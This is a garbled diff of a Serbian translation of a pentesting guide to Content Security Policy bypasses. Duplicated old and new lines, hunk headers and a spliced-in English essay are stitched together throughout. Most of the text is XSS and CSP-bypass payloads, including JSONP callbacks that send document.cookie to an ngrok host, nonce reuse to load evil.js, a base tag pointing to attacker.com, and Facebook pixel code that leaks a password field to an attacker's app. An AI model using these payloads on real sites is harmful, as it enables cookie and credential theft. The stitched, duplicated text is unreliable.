Politika bezbednosti sadržaja (CSP) prepoznata je kao tehnologija pregledača, pre svega namenjena **zaštiti od napada poput skriptovanja preko različitih sajtova (XSS)**. Funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente poput slika, okvira i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa putem funkcija poput `eval`, `setTimeout` ili `setInterval`.
Implementacija CSP-a se vrši putem **zaglavlja odgovora** ili uključivanjem **meta elemenata u HTML stranicu**. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju svako otkriveno kršenje.
Implementacija CSP-a se vrši putem **zaglavlja odgovora** ili uključivanjem **meta elemenata u HTML stranicu**. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju otkrivene povrede.
* Implementirano putem zaglavlja odgovora:
```
@ -91,13 +91,13 @@ object-src 'none';
* `*`: Dozvoljava sve URL-ove osim onih sa šemama `data:`, `blob:`, `filesystem:`.
* `'self'`: Dozvoljava učitavanje sa istog domena.
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 enkodirane slike).
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 kodirane slike).
* `'none'`: Blokira učitavanje sa bilo kog izvora.
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz sigurnosnih razloga.
* `'unsafe-hashes'`: Omogućava specifične inline event handlere.
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa poput inline `<script>` ili `<style>`, nije preporučljivo iz sigurnosnih razloga.
* `'nonce'`: Bela lista za specifične inline skripte korišćenjem kriptografskog nonce-a (broj korišćen jednom).
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako je korišćen strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
* `'nonce'`: Lista dozvoljenih specifičnih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
<details>
@ -114,17 +114,17 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
</details>
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
* `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
* `'host'`: Specifies a specific host, like `example.com`.
* `https:`: Restricts URLs to those that use HTTPS.
* `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
* `filesystem:`: Allows resources to be loaded from the filesystem.
* `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
* `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
* `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
* `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
* `'strict-dynamic'`: Dozvoljava učitavanje skripti sa bilo kog izvora ako je dodat na belu listu pomoću nonce-a ili heša.
* `'host'`: Specificira određeni host, kao što je `example.com`.
* `https:`: Ograničava URL-ove na one koji koriste HTTPS.
* `blob:`: Dozvoljava resursima da se učitavaju sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).
* `filesystem:`: Dozvoljava resursima da se učitavaju sa fajl sistema.
* `'report-sample'`: Uključuje uzorak koda koji krši pravilo u izveštaju o kršenju (korisno za debagovanje).
* `'strict-origin'`: Slično kao 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitati resurse sa sigurnih izvora).
* `'strict-origin-when-cross-origin'`: Šalje kompletne URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev preko granice.
* `'unsafe-allow-redirects'`: Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer oslabljuje sigurnost.
## Nekorektna pravila CSP
## Nekorektna CSP pravila
### 'unsafe-inline'
```yaml
@ -148,9 +148,9 @@ Radni payload:
```
### strict-dynamic
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira to, **novi tag skripte će biti dozvoljen za izvršavanje**.
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira, **novi tag skripte će biti dozvoljen za izvršavanje**.
### Wildcard (\*)
### Zvezdica (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
@ -183,13 +183,17 @@ Radna payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Međutim, veoma je verovatno da server **validira** otpremljeni fajl i dozvoljava samo da se **otpreme određeni tipovi fajlova**.
Međutim, vrlo je verovatno da server **validira** otpremljenu datoteku i dozvoljava vam samo da **otpustite određenu vrstu datoteka**.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
Odavde, ako pronađete XSS i otpremanje fajla, i uspete da pronađete **pogrešno protumačenu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljenog fajla, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
Odavde, ako pronađete XSS i otpremanje datoteke, i uspete da pronađete **pogrešno protumačenu ekstenziju**, možete pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljene datoteke, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
### Treće strane Endpoints + ('unsafe-eval')
### Forma-akcija
Ako nije moguće ubaciti JS, još uvek možete pokušati da eksfiltrirate na primer pristupne podatke **ubacivanjem akcije forme** (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, primetite da `default-src` ne pokriva akcije formi.
### Endpoziti trećih strana + ('unsafe-eval')
{% hint style="warning" %}
Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
@ -197,7 +201,7 @@ Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Učitajte ranjivu verziju angulara i izvršite proizvoljni JS:
Učitajte ranjivu verziju angular-a i izvršite proizvoljni JS:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -246,11 +250,13 @@ Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.
{{[].erase.call().alert('xss')}}
</div>
```
### Angular XSS iz naziva klase:
### Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
---
---
### Angular XSS iz naziva klase:
### Zaobilaženje politike bezbednosti sadržaja (CSP) korišćenjem Angular XSS iz naziva klase:
---
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -258,7 +264,7 @@ Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.
```
#### Zloupotreba google recaptcha JS koda
Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljan JS kod zaobići CSP:
Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljni JS kod zaobići CSP:
```html
<div
ng-controller="CarouselController as c"
@ -284,11 +290,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
### Spoljni endpointovi + JSONP
#### Zloupotreba www.google.com za otvoreno preusmeravanje
Sledeći URL preusmerava na example.com (odavde):
```
https://www.google.com/amp/s/example.com/
```
### Zloupotreba \*.google.com/script.google.com
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoziti treće strane + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu može biti zaobiđen korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -310,12 +326,12 @@ Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-co
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracija |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracija |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvršenje |
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracija, Izvršenje |
| Amazon AWS | \*.amazonaws.com | Eksfiltracija, Izvršenje |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršenje |
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracija, Izvršenje |
| Google Firebase | \*.firebaseapp.com | Eksfiltracija, Izvršenje |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvršavanje |
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracija, Izvršavanje |
| Amazon AWS | \*.amazonaws.com | Eksfiltracija, Izvršavanje |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršavanje |
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracija, Izvršavanje |
| Google Firebase | \*.firebaseapp.com | Eksfiltracija, Izvršavanje |
Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
@ -323,33 +339,7 @@ Na primer, ako pronađete sledeći CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
### What is Content Security Policy (CSP)?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header that allows website owners to control the resources that a browser is allowed to load for a specific page.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the `script-src` directive. This allows the execution of inline JavaScript code, which is normally blocked by CSP to prevent XSS attacks.
### Bypassing CSP using `unsafe-eval`
Another way to bypass CSP is by using the `unsafe-eval` keyword in the `script-src` directive. This allows the execution of code generated from strings, which is blocked by CSP to prevent injection attacks.
### Bypassing CSP using Data URI
CSP can also be bypassed by using Data URI to embed external resources directly into the HTML document. By using Data URI, an attacker can load external scripts or stylesheets without triggering CSP violations.
### Conclusion
Content Security Policy (CSP) is a powerful security feature that can help protect web applications from various types of attacks. However, it is important for developers to understand how CSP works and be aware of common bypass techniques in order to effectively secure their web applications against potential threats.
ili
```
Content-Security-Policy: connect-src www.facebook.com;
```
@ -358,11 +348,11 @@ Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno s
1. Kreirajte Facebook Developer nalog ovde.
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podatkovnog toka.
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga i izdajte prilagođeni događaj ovako:
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga app-id i izdajte prilagođeni događaj kao što je ovaj:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -371,7 +361,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Pored pomenutog preusmeravanja zaobilaženja ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
```html
@ -381,11 +371,11 @@ Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
Ovo funkcioniše jer za preglednik, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
Zato će je dekodirati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
Zato će dekodirati to, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno sa `https://example.com/scripts/angular/angular.js`.
**Iskorišćavanjem ove neusaglašenosti u interpretaciji URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.
**Iskorišćavanjem ove neusaglašenosti u tumačenju URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući doslednu interpretaciju između preglednika i servera kako bi se izbegao ovaj problem.
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući dosledno tumačenje između preglednika i servera kako bi se izbegao ovaj problem.
Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -399,33 +389,33 @@ Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.c
Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Osim toga, ako se **stranica učitava skriptom koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
Osim toga, ako se **stranica učitava skriptom koristeći relativnu putanju** (kao `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS događaji
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen kako bi se zaobišao CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji sadrži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike za izbegavanje peska.
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen da bi se zaobišla CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji drži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike bekstva iz peska.
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, koristeći terminalni element (objekat `window`) kako bi se pokrenula globalna funkcija poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) da pokrene globalnu funkciju poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ovaj odlomak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju `path` niza, i iskorišćavanje `window` objekta za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
Ovaj odlomak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju nizom `path`, i iskorišćavanje objekta `window` za izvršavanje funkcije `alert()`, čime se otkriva `document.cookie`.
**Pronađite druge Angular obilaske u** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS i belačena domena
### AngularJS i belačka lista domena
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
### Bypassing CSP by Invoking Callback Functions and Vulnerable Classes
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Više informacija o ovoj tehnici može se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Radni payload-ovi:
Radni payload-i:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -433,11 +423,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
### Bypass putem Preusmeravanja
Druge JSONP proizvoljne izvršne tačke mogu se pronaći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neke od njih su obrisane ili popravljene)
### Bypass putem preusmeravanja
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će ne uspeti.
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i Preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.
Evo primera:
```html
@ -461,7 +453,7 @@ Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serversk
Sa ovim preusmerenjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.
Stoga, najbolje rešenje je osigurati da veb sajt nema ranjivosti na otvoreno preusmeravanje i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.
Stoga, najbolje rešenje je osigurati da veb lokacija nema ranjivosti na otvorena preusmerenja i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.
### Zaobilaženje CSP pomoću visećeg markup-a
@ -471,13 +463,13 @@ Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog izvora.
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog resursa.
Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da biste **izvršili** JS kod (kao redovan XSS) koji će **učitati** sliku, **izdvojiti** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Sa Servisnim Radnicima
@ -511,7 +503,7 @@ Primer: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=
Primetite nedostatak direktive `'unsafe-inline'`\
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme koje je potrebno stranici da se učita** možete izvući potrebne informacije.
Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći izvući flag:
Ovog puta **flag** će biti izvučen, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže vreme** zbog sleep funkcije. Tada ćete moći izvući flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -571,17 +563,17 @@ console.log(prefix);
run();
</script>
```
### Preko Bookmarkleta
### Putem Bookmarkleta
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta u pretraživaču**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** poput kolačića ili tokena.
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio kada bi bio prevučen i ispusten ili kliknut u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.
Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Zaobilaženje CSP-a ograničavanjem CSP-a
### Bypass CSP ograničenjem CSP-a
U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem **zagađenja prototipa** ili **dom clobbering-a**, omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**.
U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji nije dozvoljavao učitavanje određene JS datoteke koja je, zatim, putem **zagađenja prototipa** ili **dom clobbering-a** omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**.
Možete **ograničiti CSP iframe-a** pomoću atributa **`csp`**:
Možete **ograničiti CSP Iframe-a** sa atributom **`csp`**:
{% code overflow="wrap" %}
```html
@ -589,8 +581,8 @@ Možete **ograničiti CSP iframe-a** pomoću atributa **`csp`**:
```
{% endcode %}
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
CSP može postati stroži korišćenjem **HTML meta oznaka** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -599,7 +591,7 @@ CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mo
```
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstraktujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa `Content-Security-Policy-Report-Only`.
